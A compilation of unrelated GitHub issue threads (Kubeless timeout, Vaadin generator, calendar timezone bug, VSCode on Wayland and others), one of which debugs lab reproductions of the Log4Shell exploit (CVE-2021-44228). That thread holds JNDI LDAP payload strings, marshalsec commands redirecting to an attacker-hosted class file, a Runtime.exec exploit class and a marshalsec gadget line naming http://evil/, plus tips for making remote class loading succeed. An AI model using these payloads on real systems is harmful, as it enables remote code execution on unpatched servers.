Unable to override FUNC_TIMEOUT value

Is this a BUG REPORT or FEATURE REQUEST?:
BUG REPORT
What happened:
I added --env FUNC_TIMEOUT=86400 in kubeless function deploy command, however, inside the running container this FUNC_TIMEOUT value is still using the default one, which is 180.  From the documentation, this environment variable can be set using the CLI option --timeout, I think it should also make sense to make it configurable through FUNC_TIMEOUT.

This is a screenshot of container environment variable FUNC_TIMEOUT, which is set to 86400, but from terminal it's still using 180.

Environment:

Kubernetes version (use kubectl version):
oc v3.9.0+191fece
kubernetes v1.9.1+a0ce1bc657
features: Basic-Auth
Server <internal_server>
openshift v3.9.25
kubernetes v1.9.1+a0ce1bc657
Kubeless version (use kubeless version): kubeless v0.5.0
Cloud provider or physical cluster: OpenShift v3.9.25

What language runtime you are using? Some of the language runtimes supported by Kubeless still does not have a way to enfore the function timeouts

The timeout is part of the Function spec (see this doc), that's why it's not currently configurable with an environment variable. That way, if someday the way of setting the value changes from an env var to a config file, the API for the users remains the same. I recommend you to use that flag/field instead.
In any case, if you still want to use that environment variable this is where it's set:
https://github.com/kubeless/kubeless/blob/master/pkg/utils/kubelessutil.go#L710
A PR to fallback to the env var FUNC_TIMEOUT if it is already set would be welcome :)


feat: project starter

Description
Vaadin project generator based on https://github.com/marcushellberg/luoja
Use CMD + Shift + P to open command window, type "Vaadin" and pick appropriate command. Then follow inputs.

Folder name should be validated. e.g. . should not be allowed as project name
Escaping does not cancel the project generation flow. Press escape on project name state and flow continues

Selecting the project folder should be the last step as that way is more intuitive.

Indeed, specially that label is "Create here".

Folder name should be validated. e.g. . should not be allowed as project name

Distinguished Project Name from Artifact Id. Artifact id is kebbab-cased project name by default with a-z 0-9 - _ validation.

Escaping does not cancel the project generation flow. Press escape on project name state and flow continues

Removed default value "untitled" not to confuse anyone.

Entering . as a project name should not be allowed. Currently, it is allowed and nothing happens when you finish the flow

Added validation for . at beginning and end of input. There is no point of covering every case, user should notice that it is also a directory name.


Marshalsec and webserver do not communicate

I'm trying to reproduce the exploit of CVE-2021-44228.
All is done and when i run the request, the LDAP server shows me
"Send LDAP reference result for Log4jRCE redirecting to myAddress:port/Log4JRCE.class"
but the python server does not shows the GET request and the code into the Log4jRCE.class is not fetched from the target machine.
The server is correctly up, and the link myAddress:port/Log4jRCE.class redirects me to the binary code correctly.
it seems that marshalsec tool and python webserver does not communicates.
What it could be??
Thank you for the support

It is only suitable for a few scenes, not for most scenes

-> https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/

oh,That is, the Java version is not applicable and needs to be deserialized

I am having the same issue, for me, the "Send LDAP reference result for Log4jRCE redirecting to myAddress:port/Log4JRCE.class" comes up three times and the python server with the .class file doesn't get a GET request.

I am having the same issue, for me, the "Send LDAP reference result for Log4jRCE redirecting to myAddress:port/Log4JRCE.class" comes up three times and the python server with the .class file doesn't get a GET request.

Not yet solved for me. I'm using Java 1.8_0_181 on the attack machine, not a java version issue.
Any suggestion?

Same.  Seems like the LDAP reference doesn't actually take place.
Marshalsec:
Listening on <IP_ADDRESS>:1389
Send LDAP reference result for Log4jRCE redirecting to http://<IP_ADDRESS>:8000/Log4jRCE.class

http server:
$ python -m http.server
Serving HTTP on :: port 8000 (http://[::]:8000/) ...

Is the version of the target host and needs to be serialized

I'm using JDK 8u181 across the board, starting with the exploitable target workload, the LDAP referrer (marshalsec), and the payload class was compiled with JDK 8u181 (however irrelevant since the http server doesn't receive the GET).

I'm using JDK 8u181 across the board, starting with the exploitable target workload, the LDAP referrer (marshalsec), and the payload class was compiled with JDK 8u181 (however irrelevant since the http server doesn't receive the GET).

Also i think the same, because the payload is working and the LDAP server is contacted, the problem is when the request must be forwarded from LDAP server to HTTP server, that for my setting are on the same machine, no firewall, no restrictions.

Also i think the same, because the payload is working and the LDAP server is contacted, the problem is when the request must be forwarded from LDAP server to HTTP server, that for my setting are on the same machine, no firewall, no restrictions.

I'm in the same boat.  I've read mbechler's PSA and I don't really see what we could be missing

The bypass needs to generate a PoC to join the payload

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://evil/ LifExp

Curious why that wasn't necessary here: https://youtu.be/7qoPDq41xhQ?t=1016

Curious why that wasn't necessary here: https://youtu.be/7qoPDq41xhQ?t=1016

So have you solved the issue?

When targeting 8u181 this should work out of the box in my opinion. Regular Oracle/OpenJDK runtime? Security manager? How do you start the server?

@mbechler works with 8u181 thanks :)

When targeting 8u181 this should work out of the box in my opinion. Regular Oracle/OpenJDK runtime? Security manager? How do you start the server?

Here's my setup:
java -version
java version "1.8.0_181"
Java(TM) 64-Bit Server VM (build 25.181-b13, mixed mode)
Java HotSpot(TM) 64-Bit Server VM (build 25.181-b13, mixed)
The LDAP Server is started with the following syntax:
java -cp target/marshalsec-0.0.3-SNAPSHOT.all.jar marshalsec,jndi,LDAPRefServer http://<IP_ADDRESS>:8000/#RCE
The HTTP Server is started with the following syntax:
python3 -m http.server 8000
i'm on a centos7, for the test i have disabled selinux and firewalld

Still can't get it to make the connection.

Ubuntu 21.10
log4jpwn docker container is the exploited workload (exploit works fine)
Using JDK 8u181, properly linked
marshalsec jar is built with mvn using above jdk
Starting the LDAP Ref with this command: $ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8889/#Log4jRCE"
Initiate exploit with: curl -v -H 'User-Agent: ${jndi:ldap://<IP_ADDRESS>:1389/Log4jRCE}' localhost:9696
marshalsec LDAP server receives the jndi reference and says it forwards it to the HTTP server, but it does not
No networking issue between the LDAP server and the HTTP server (same host) and also confirmed with curl

log4jpwn jetty server successfully exploited
$ curl -v -H 'User-Agent: ${jndi:ldap://<IP_ADDRESS>:1389/Log4jRCE}' localhost:9696
*   Trying ::1...
* TCP_NODELAY set
* Connected to localhost (::1) port 9696 (#0)
> GET / HTTP/1.1
> Host: localhost:9696
> Accept: */*
> User-Agent: ${jndi:ldap://<IP_ADDRESS>:1389/Log4jRCE}
>
< HTTP/1.1 200 OK
< Date: Tue, 14 Dec 2021 23:52:24 GMT
< Content-Type: text/html;charset=utf-8
< Transfer-Encoding: chunked
< Server: Jetty(9.4.z-SNAPSHOT)

LDAP server receives exploited JNDI reference
kenmac@flanders:~/log4j/marshalsec$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8889/#Log4jRCE"
Listening on <IP_ADDRESS>:1389
Send LDAP reference result for Log4jRCE redirecting to http://localhost:8889/Log4jRCE.class

No GET received by HTTP server
kenmac@flanders:~/log4j$ python3 -m http.server 8889
Serving HTTP on <IP_ADDRESS> port 8889 (http://<IP_ADDRESS>:8889/) ...

Local test of HTTP server reachability
kenmac@flanders:~$ curl http://localhost:8889/test123
....

Confirmed that the HTTP server is reachable from the same host
kenmac@flanders:~/log4j$ python3 -m http.server 8889
Serving HTTP on <IP_ADDRESS> port 8889 (http://<IP_ADDRESS>:8889/) ...

<IP_ADDRESS> - - [15/Dec/2021 00:23:49] code 404, message File not found
<IP_ADDRESS> - - [15/Dec/2021 00:23:49] "GET /test123 HTTP/1.1" 404 -

I took the debugging a step further to see if I could figure out the state of the LDAP referral and added the highlighted line below and recompiled marshalsec:

The same attempt now shows the LDAP search query result looking like this:
kenmac@flanders:~/log4j/marshalsec$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8889/#Log4jRCE"
Listening on <IP_ADDRESS>:1389
Send LDAP reference result for Log4jRCE redirecting to http://localhost:8889/Log4jRCE.class
Result:LDAPResult(resultCode=34 (invalid DN syntax), diagnosticMessage='Unable to perform the search because an error occurred while attempting to parse base DN 'Log4jRCE':  The provided string could not be decoded as a DN because no equal sign was found after the RDN attribute 'Log4jRCE'.')

Not sure what's wrong here.

Try ${jndi:ldap://<IP_ADDRESS>:1389/cn=Log4jRCE}

Try ${jndi:ldap://<IP_ADDRESS>:1389/cn=Log4jRCE}

@mbechler I tried ${jndi:ldap://<IP_ADDRESS>:7979/cn=Exploit} this and result is the same. Not redirecting.

cn=Log4jRCE
$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8889/#Log4jRCE"
Listening on <IP_ADDRESS>:1389
Send LDAP reference result for cn=Log4jRCE redirecting to http://localhost:8889/Log4jRCE.class
Result:LDAPResult(resultCode=32 (no such object), diagnosticMessage='Unable to perform the search because base entry 'cn=Log4jRCE' does not exist in the server.')

No DN at all:
curl -v -H 'User-Agent: ${jndi:ldap://<IP_ADDRESS>:1389}' localhost:9696

$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8889/#Log4jRCE"
Listening on <IP_ADDRESS>:1389
Send LDAP reference result for  redirecting to http://localhost:8889/Log4jRCE.class
Result:LDAPResult(resultCode=0 (success))

However, still no outbound connection made to HTTP server

$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8889/#Log4jRCE"
Listening on <IP_ADDRESS>:1389
Send LDAP reference result for  redirecting to http://localhost:8889/Log4jRCE.class
Result:LDAPResult(resultCode=0 (success))

Hm, that sound like unbound is still unhappy about the DN, maybe ${jndi:ldap://<IP_ADDRESS>:1389/cn=Log4jRCE,dc=example,dc=com}

If it helps I've only seen this when running an apache solr "as an example" on windows

I'm trying to reproduce the exploit of CVE-2021-44228. All is done and when i run the request, the LDAP server shows me "Send LDAP reference result for Log4jRCE redirecting to myAddress:port/Log4JRCE.class"
but the python server does not shows the GET request and the code into the Log4jRCE.class is not fetched from the target machine. The server is correctly up, and the link myAddress:port/Log4jRCE.class redirects me to the binary code correctly.
it seems that marshalsec tool and python webserver does not communicates.
What it could be?? Thank you for the support

I have the same issue, but sovled aftert I read this on API doc:
This class loader is used to load classes and resources from a search path of URLs referring to both JAR files and directories. Any URL that ends with a '/' is assumed to refer to a directory. Otherwise, the URL is assumed to refer to a JAR file which will be opened as needed.
the codebase need end with "/"

Same issue. java 8u181

@allenz92 thanks for the pointer, I did never try to figure out why that was not working in that case.
For every one else still having issues after considering all the mentioned conditions, it would be certainly interesting to figure out why that fails. You could debug the target process, the following call stack (this one is 8u181) would be the relevant part:
loadClass:83, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:158, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)

log4j 2.15 btw also moved to a getAttribute call instead of lookup, this also prevents following the Reference.

Appreciate the discussion thus far.  I'm just not sure what exactly need to be changed.

In summary ,when run marshalsec, the codebase need end with "/"

Does this mean ensuring that the codebase string provided marshalsec ends with a "/" just before the "#"?  In such a case, I've been doing this all along ("http://localhost:8889**/**#Log4jRCE"):
$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8889/#Log4jRCE"
Listening on <IP_ADDRESS>:1389
Send LDAP reference result for Log4jRCE redirecting to http://localhost:8889/Log4jRCE.class

No GET:
$ python3 -m http.server 8889
Serving HTTP on <IP_ADDRESS> port 8889 (http://<IP_ADDRESS>:8889/) ...

Yes,  the call looks good.

Do we consider the LDAP query result error problematic in this case? Or is this expected behavior even when the remote class is properly sourced from the remote codebase?

Hadn't checked yet, but no this does not seem to be the issue, I also see these in successful exploitation.

having exactly the same issues as @kenmccann
Running Ubuntu 20.04 and java 8u181
Have added debugs similar to above have Noticed the Entry: DN value is different when you don't pass class name

having exactly the same issues as @kenmccann Running Ubuntu 20.04 and java 8u181 Have added debugs similar to above have Noticed the Entry: DN value is different when you don't pass class name

@dextacy10-13 apparently the LDAP error expected.  Still not quite sure why the outbound connection is not occurring.

Just to reiterate and rule out potential misunderstandings, the direct factory remote classloading vector (in default configuration) will only work if the Java runtime performing the JNDI lookup, i.e. the exploited target, is running Java <8u191. (The version you run LDAPRefServer on does not matter).
If this is the case, then really, debugging the target is likely the only reasonable way to figure out what is happening.

log4j 2.15 btw also moved to a getAttribute call instead of lookup, this also prevents following the Reference.

Actually it only checks getAttributes for the class filter, but then if the Name matches (on the java class Attribute which is of course not safe to check) it still uses lookup())

Ah, right, missed that. Thanks for pointing that out.

your java verison should be lower than java8-u121 , otherwise the server will not request the http server. because a new option trustURLCodebase(default false) has been added to the higher version java.

John uses 8u181 across the board in his video and it seems to work fine.  Is he full of it?  https://youtu.be/7qoPDq41xhQ?t=1016

No 8u181 should still work with LDAP, u121  ist just relevant for RMI/CORBA.

Encountered same situation.
Target app: docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
(Log4j 2.14.1 (through spring-boot-starter-log4j2 2.6.1) and the JDK 1.8.0_181.)
Ldap server: marshalsec
codebase: python3 -m http.server 1763

Had a look: The debian u181 build (build 1.8.0_181-8u181-b13-2~deb9u1-b13) used by the openjdk u181 docker image has a backported security patch (patches/sec-webrev-8u191-b12-S8199177-jdk.patch)

Also, specifying http://<IP_ADDRESS>:1763/, if you haven't disabled network namespacing, likely is not working as you intended.
openjdk:8u181-alpine works,btw.

Hi,
I'm also experiencing this error. I debugged as far as I could and I land in this native method call in the end:
java.lang.Class#forName0() with these parameters:
name = "http://localhost:8081/payload"
initialize = true
loader = {TomcatEmbeddedWebappClassLoader@6837} "TomcatEmbeddedWebappClassLoader\r\n  context: ROOT\r\n  delegate: true\r\n----------> Parent Classloader:\r\nsun.misc.Launcher$AppClassLoader@18b4aac2\r\n"
caller = null

The return value I get is:
result = {ClassNotFoundException@6942} Method threw 'java.lang.ClassNotFoundException' exception.
 ex = null
 detailMessage = "http://localhost:8081/payload"

I see no GET request on the webserver listening on port 8081, so I assume the name format is just wrong. Maybe this helps narrowing it down?
Best regards

I think I'm just filling the LDAP response wrong. This is my setup:
e.addAttribute("javaClassName", "de.apwolf.log4shell.attacker.Attack");
e.addAttribute("javaCodeBase", "http://localhost:8081");
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", "http://localhost:8081#de.apwolf.log4shell.attacker.Attack");

I see no traffic towards port 8081 at all with Wireshark. So I think something is failing in the validation for the class loading, but I cannot figure out what it is.
In the victim application I see the log entry "Reference Class Name: de.apwolf.log4shell.attacker.Attack", so just the remote class loading seems to fail.

Yes, javaFactory should just be the classname

You're absolutely right, now the download is triggered. However the class is still not executed. If I put the class on the classpath manually I see the execution, so the class itself is fine.
These are my parameters now:
            e.addAttribute("javaClassName", "Attack");
            e.addAttribute("javaCodeBase", "http://localhost:8081");
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", "Attack");

My log string: ${jndi:ldap://<IP_ADDRESS>:1389/Attack}
My file server returns the compiled class under the file name "Attack.class". The JVM just performs a GET "http://localhost:8081/" which is successful.
I removed Java packages because I felt they were only making things harder.
I debugged into the URLClassLoader, and indeed the URL shows up, however the class is not loaded.
I'm currently wondering if maybe the .class ending is necessary in some cases? I tried a lot of permutations but none worked.

There is some magic to having a trailing slash at the URL or not: https://github.com/mbechler/marshalsec/issues/28#issuecomment-996581795

@daniomass did it work for you in the end ?

Appreciate the discussion thus far. I'm just not sure what exactly need to be changed.

In summary ,when run marshalsec, the codebase need end with "/"

Does this mean ensuring that the codebase string provided marshalsec ends with a "/" just before the "#"? In such a case, I've been doing this all along ("http://localhost:8889 / #Log4jRCE"):
$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8889/#Log4jRCE"
Listening on <IP_ADDRESS>:1389
Send LDAP reference result for Log4jRCE redirecting to http://localhost:8889/Log4jRCE.class

No GET:
$ python3 -m http.server 8889
Serving HTTP on <IP_ADDRESS> port 8889 (http://<IP_ADDRESS>:8889/) ...

I'm using this exact same command on 8u181 and I'm getting the same result (This is on macOS btw).  I've tried the proposed fixes from this thread but I still haven't managed to get my LDAP server to communicate with my HTTP. I have no trouble reaching the LDAP server via my vulnerable app.
Vulnerable App:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.util.Scanner;

public class VulnerableApp {
    public static void main(String[] args){
        Logger logger = LogManager.getLogger(VulnerableApp.class);
        Scanner scanner = new Scanner(System.in);
        while(true){
        System.out.println("Feedback?");
        String feedbackText = scanner.nextLine();
        logger.error("Someone had this to say: " + feedbackText);
        }
    }
}

Exploit:
public class Exploit {
    public static void main(String[] args){
        try{
            Runtime.getRuntime().exec("open /Applications/VLC.app/ ");
        } catch (Exception e){
            e.printStackTrace();
        }
    }
}

Appreciate the discussion thus far. I'm just not sure what exactly need to be changed.

In summary ,when run marshalsec, the codebase need end with "/"

Does this mean ensuring that the codebase string provided marshalsec ends with a "/" just before the "#"? In such a case, I've been doing this all along ("http://localhost:8889 / #Log4jRCE"):
$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8889/#Log4jRCE"
Listening on <IP_ADDRESS>:1389
Send LDAP reference result for Log4jRCE redirecting to http://localhost:8889/Log4jRCE.class

No GET:
$ python3 -m http.server 8889
Serving HTTP on <IP_ADDRESS> port 8889 (http://<IP_ADDRESS>:8889/) ...

I'm using this exact same command on 8u181 and I'm getting the same result (This is on macOS btw). I've tried the proposed fixes from this thread but I still haven't managed to get my LDAP server to communicate with my HTTP. I have no trouble reaching the LDAP server via my vulnerable app.
Vulnerable App:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.util.Scanner;

public class VulnerableApp {
    public static void main(String[] args){
        Logger logger = LogManager.getLogger(VulnerableApp.class);
        Scanner scanner = new Scanner(System.in);
        while(true){
        System.out.println("Feedback?");
        String feedbackText = scanner.nextLine();
        logger.error("Someone had this to say: " + feedbackText);
        }
    }
}

Exploit:
public class Exploit {
    public static void main(String[] args){
        try{
            Runtime.getRuntime().exec("open /Applications/VLC.app/ ");
        } catch (Exception e){
            e.printStackTrace();
        }
    }
}

Interestingly, I can get the request to show up when the requested class does not exist. See screenshots below:

I had to provide a Jar file with my webserver, not the class file directly. I suggest not using any Java packages for the exploit class, this way you can just zip the class file, rename the zip to jar and host this file.

@kaleidoscoperope I think you should change your target app. Try with this version of Ghidra :
https://github.com/NationalSecurityAgency/ghidra/releases/tag/Ghidra_10.0.3_build
And lauch it with Java SE Development Kit 11, at the end of this link :
https://www.oracle.com/fr/java/technologies/javase/jdk11-archive-downloads.html

You can put the payload string here :

@ndrsf @JonathanAppriou thanks for the suggestions! I think it wasn't working properly because my vulnerable app and my exploit were in the same project. Separating them gives me the intended results.

I just tried to put my vulnerable app in a virtual machine and tried using marshalsec to deliver my exploit to it. I got the same issue where the LDAP server receives the request but fails to redirect to the HTTP server. It works perfectly when the app is on my host machine, though. Do you have any idea what might be wrong?

It's your JAVA version

That was the issue; thank you!

The bug was fixed in later version of JDK, so use version like 8u112. I resolved the problem by changing to that version.


rename + travis + tests

Renames InterchangeData -> StructuredData as well as adds some important stuff like .swift-version, Xcodeproj, and .travis.yml.
Also added Tests with an example test in there.
Whoever has access to Zewo on Travis should enable this repo. I can do it if I'm added as a contributor I think. :)

do you need the Xcode project?

The project can be generated by running swift build -X, but I've been including them in my repos because you can still put shared schemes in there and add runtimes arguments, etc.
This is especially helpful if the project produces extraneous executables that could confuse someone.

yeah I was wondering about that, the project created by SPM. what happens if you run swift build -X when a project already exists?

extraneous executables
can you give me examples?

It works nicely. It will just quietly overwrite the parts that changed, but leave the shared schema.

extraneous executables
can you give me examples?

Vapor produces a VaporDev and Generator executable. The VaporDev is a module with a main.swift that uses Vapor. That way, we have a shared "example project" that we can use as we build Vapor.
I think C7 and S4 could benefit from one of these example modules. In this case, you want to ensure that the Xcode Schema for C7 and S4 include their respective example modules (this happens by default) but , because of a bug with excludes in SPM, the example module for C7 will get included in S4's schemas by default.  This could be desirable or could not be. But, by committing the Xcodeproj and setting the schemas to shared, you can choose what gets included.


setDaysHighlight - Returns 1 day before

The method below always returns 1 day before. In the sample, the calendar makes highlighted 2019-03-31:
setDaysHighlight([
{days: ['2019-04-01'],backgroundColor: '#999'},
])
The same issue happens in official documentation, also.

Hi @vbrodrigo are you sure? I see the official documentation an I not see any issue?

See below:

Whaaat?!?!?
It's not happen with me, but I will go check this.

I'm using [2.1.0] - 2019-02-24
Maybe, the trouble is my timezone (UTC -03:00 from Brazil), because i can see that you converts date to time in this method. Or not?

Hum, yap. It's the problem. But I can fix this.

Great! Hello week was the best of calendars i could find. Beautiful and functional. Congratulations! Obrigado!

Muito Obrigado @vbrodrigo .

@vbrodrigo fix in new version.

I have been using the 3.x versions and the issue is still present, it is like at some time at night when I check the calendar all highlighted days are one day before and the next day when I see the calendar during the morning the highlighted days are ok.

Hey @jidrone version 3.x is not stable and to be honest, I don't have been working on that new version (I have been thinking about refactoring everything from scratch).
So, please use version 2.13.0 that issue was solved, you just need to pass the option timezoneOffset on HelloWeek initialization.
Please let me know if, the issue is still present after that.

This issue is stale because it has been open for 30 days with no activity.

This issue persists for dates after Daylight Saving Time changes because the timezoneOffset will change for those dates. For example, if you're in New York (or simulate it with devtools) you get these timezones for these dates in different DST:
new Date('2023-07-14').getTimezoneOffset(); // => 240
new Date('2023-12-01').getTimezoneOffset(); // => 300

Setting the timezone to be always dt.getTimezoneOffset() in setTimeZone() and ignoring the timezone in the calendar options seems to have fixed this for me. I also started using calendar.daysSelected directly, since calendar.getDays() runs timestampToHuman() again on dates that have already been converted, potentially changing the date.

Hey @tiojoca thanks for the reporting.

Ive been using lastSelectedDay which is timestamp at midnight of selected day
const selectedDay = new Date(helloWeek.lastSelectedDay)
const parsedSelectedDate = { date: selectedDay.getUTCDate(), month: selectedDay.getUTCMonth(), year: selectedDay.getUTCFullYear() }

Not sure anyone cares anymore but......
Found this interesting piece of information about javascript dates (look at first answer):
https://stackoverflow.com/questions/7556591/is-the-javascript-date-object-always-one-day-off#:~:text=Javascript's Date class doesn't,%3A00 GMT-0400).
Solution for me was in hello.week.js,  function setToTimestamp(date)
Changed:
return new Date(date).setHours(0, 0, 0, 0);
To:
return new Date(date.replace(/-/g, '/').replace(/T.+/, '')).setHours(0, 0, 0, 0);


Redis4 cluster, redisson RQueue poll  jedis lpush data , Occasional data loss

org.redisson
redisson-spring-boot-starter
3.16.1

redis.clients
jedis
3.2.0

Redisson 3.16.1 has a connection leak issue. Please update to the latest version


What is the difference between replace_prob and mask_prob

Thank you to give such a wonderful tool, and there is a question I want to ask. What is the different between replace_prob and mask_prob? Is a token will be masked just at the probability replace_prob * mask_prob?
    def __init__(
        self,
        transformer,
        mask_prob = 0.15,
        replace_prob = 0.9,
        num_tokens = None,
        random_token_prob = 0.,
        mask_token_id = 2,
        pad_token_id = 0,
        mask_ignore_token_ids = []):

@SenYan1999 that's exactly right!

this is necessary as specified in the paper, so that the attention net learns how to generate sound logits for unmasked tokens


Returned checkbox to remember association of app with URL Scheme.

After this commit the "Always open" checkbox became controlled by an additional policy that has false as a default value.
So, regular users who don't want to deal with the policies on their OS can no longer remember opening external applications and must always make an extra click.
This simple PR adds a new patch file that replaces false default value with true and returns the previous behaviour.

Could this help with non-working #extension-mime-request-handling?

I'm not really sure.


Update to terminal_size 0.2.1, which has smaller code size.

On my x86_64-unknown-linux-gnu system, building cargo-bloat with
cargo release and measuring with the size command:
With term_size (current upstream):
1076874   36617<PHONE_NUMBER>  10ff33 target/release/cargo-bloat
With terminal_size 0.2.0 (current RazrFalcon/cargo-bloat#89)
1076378   36569<PHONE_NUMBER>  10fd13 target/release/cargo-bloat
With terminal_size 0.2.1 (this PR):
1076242   36561<PHONE_NUMBER>  10fc83 target/release/cargo-bloat

Merged, but I doubt it changes RazrFalcon's opinion about the switch to terminal_size.


Second VSCode window is always blank

Type: Bug
Reproducible:
Both in the latest stable version and the latest insiders build.
Reproducer:

start VSCode with code --enable-features=UseOzonePlatform,WaylandWindowDecorations,WebRTCPipeWireCapturer --ozone-platform=wayland on a Linux system running a Wayland Window Manager such as sway
attempt to open a new window either via Ctrl+Shift+N or the "File" menu

Actual results:
Blank window with a dark stripe on the left and purple stripe at the bottom (will depend on theme used, I'll attach a screenshot).
Expected results:
A second window with VS Code editor that you can use to do stuff.
VS Code version: Code 1.86.0 (05047486b6df5eb8d44b2ecd70ea3bdf775fd937, 2024-01-31T10:27:46.147Z)
OS version: Linux x64 6.7.4-arch1-1
Modes:

System Info

Item
Value

CPUs
Intel(R) Core(TM) i7-10610U CPU @ 1.80GHz (8 x 3302)

GPU Status
2d_canvas: enabledcanvas_oop_rasterization: disabled_offdirect_rendering_display_compositor: disabled_off_okgpu_compositing: enabledmultiple_raster_threads: enabled_onopengl: enabled_onrasterization: enabledraw_draw: disabled_off_okskia_graphite: disabled_offvideo_decode: enabledvideo_encode: disabled_softwarevulkan: disabled_offwebgl: enabledwebgl2: enabledwebgpu: disabled_off

Load (avg)
2, 2, 1

Memory (System)
30.55GB (21.63GB free)

Process Argv
--enable-features=UseOzonePlatform,WaylandWindowDecorations,WebRTCPipeWireCapturer --ozone-platform=wayland

Screen Reader
no

VM
0%

DESKTOP_SESSION
undefined

XDG_CURRENT_DESKTOP
sway

XDG_SESSION_DESKTOP
undefined

XDG_SESSION_TYPE
wayland

Extensions (9)

Extension
Author (truncated)
Version

githistory
don
0.6.20

copilot
Git
1.157.0

copilot-chat
Git
0.12.0

vscode-pull-request-github
Git
0.80.0

go
gol
0.40.3

debugpy
ms-
2024.0.0

vsliveshare
ms-
1.0.5905

gitblame
wad
10.9.0

vscode-todo-highlight
way
1.0.5

(2 theme extensions excluded)

Screenshot:

Update: looks like the broken window is unable to repaint itself. When I attempt to move it to fullscreen via system keyboard shortcut, it keeps its current form and the rest of the screen is just filled with black color.
See the attached screenshot.

@sbatten please let me know if you need any more information.

Chiming in that I'm experiencing the same issue. IIRC I finally defaulted VSCode to Wayland a few weeks ago since I was no longer experiencing any issues, but I guess there's a regression with the latest update.
Working fine as usual without Wayland (Fedora 39/SwayWM), and I'd be happy to take a deeper look/provide more information as well.

Same here, even without extensions and a fresh user data directory. Adding --disable-gpu fixes the problem.
Verbose log with issue: code --ozone-platform-hint=auto --verbose --wait -n --disable-extensions --user-data-dir /tmp/code-test https://fb.hash.works/fGyNsB/ (new window opens in line 283)
Verbose log without issue: code --ozone-platform-hint=auto --verbose --wait -n --disable-extensions --user-data-dir /tmp/code-test --disable-gpu https://fb.hash.works/BM7cChfE/ (new window opens in line 267)

It looks like sway 1.10 (commit 07b0598) and wlroots 0.18.0 (51c1e4aed) fixes this issue.

I can confirm now that the latest stable version available on Arch (1:1.9-1) has fixed the problem.


DC/OS resources for single WSO2 Identity Server node with Analytics support

Purpose

DC/OS resources for WSO2 Identity Server deployment pattern 2 need to be implemented. A related issue is https://github.com/wso2/dcos-is/issues/3.

Goals

Create DC/OS Marathon resources for deploying a single WSO2 Identity Server node with analytics support, connected to an external database.

Overall great work Chiranga! It's nice to see IS DC/OS resources being progressed.


Silencing feature request

We have some issues with Sweetiebot with auto silencing our other bots on the server. I was wondering if it were possible if we could possibly get a feature to exempt specific roles on our server from being silenced. If it makes any difference I donated to the patreon for a couple of months under the name Colton Hooke.

You can now use !setconfig spam.ignorerole @ignorerole and anyone with that role will be excluded from anti-spam detection.


Add and use configure check for pthread_condattr_setclock

Hi, old but not EOL netbsd (6.0) did not define pthread_condattr_setclock.
I assume bionic will also fail this configure test so removed the android check, but did not test this.

Thanks, but I don't think we can accept this as-is.  HAVE_PTHREAD_COND_TIMEDWAIT_MONOTONIC is defined by the Android NDK, IIRC, so this change would break the build on that platform.
What's more, we don't really use configure-time feature detection because we support two build systems; the other one, GYP, doesn't support feature detection.  We use either runtime detection (where possible) or platform-specific #ifdef guards.

I see, thanks


Maximum execution time error

Could anyone advise on how I can resolve the following:
[2023-01-06 00:43:53] local.ERROR: Maximum execution time of 30 seconds exceeded {"userId":1,"exception":"[object] (Symfony\\Component\\ErrorHandler\\Error\\FatalError(code: 0): Maximum execution time of 30 seconds exceeded at /Users/faruk/Development/Projects/elections-results/vendor/phpoffice/phpspreadsheet/src/PhpSpreadsheet/Worksheet/RowCellIterator.php:166)
[stacktrace]
#0 {main}
"}

I see that it uses laravel excel. It's there a way to queue the import without increasing the timeout limit?


SDK: Publish an example Additive Scene loading script for use in a Base Scene

XRTK - Mixed Reality Toolkit Feature Request
Is your feature request related to a problem? Please describe
Currently, the expectation is that a new project will have an Additive loading script to manage the scenes in a project when the solution is started.
For beginners, it would be good to have a basic generic script to demonstrate this that will load a single scene on start.
Note this is not for an example, it is meant to be a simple SDK component the user can drop in their solution
How would you classify your suggestion

Usability / Configuration

Describe the solution you'd like
Ideally, a simple generic script that can be utilitised in the Base Scene to additively load the main project scene.
Nothing complex, but something beginners can look to work from.

This seems more like an example than something practical to put in the SDK

This seems more like an example than something practical to put in the SDK

There's a ton of knowledge on basic stuff like this for the Unity editor, I don't want to waste our time and resources on a subject that's easily searched.

There's a ton of knowledge on basic stuff like this for the Unity editor, I don't want to waste our time and resources on a subject that's easily searched.

The simple ask is to ensure beginners have EVERYTHING they need to get started and running.  If we have to ask users to go read something else, or learn something else, then they might as well use other projects with more to offer.
Our beginner offering has to be seamless and something they can learn from.

The simple ask is to ensure beginners have EVERYTHING they need to get started and running.  If we have to ask users to go read something else, or learn something else, then they might as well use other projects with more to offer.
Our beginner offering has to be seamless and something they can learn from.

I mean they do. The Unity APIs for scene loading are already there.

I mean they do. The Unity APIs for scene loading are already there.

I agree with Stephen here. I see this more as an example. I mean even the issue title says "Example". I wouldn't even know how to get started implementing some "useful" SDK component here because that script would be like 3 lines of code in its simplest variant.
I do agree with Simon that a proper example for how to use the base scene setup would help newcomers.

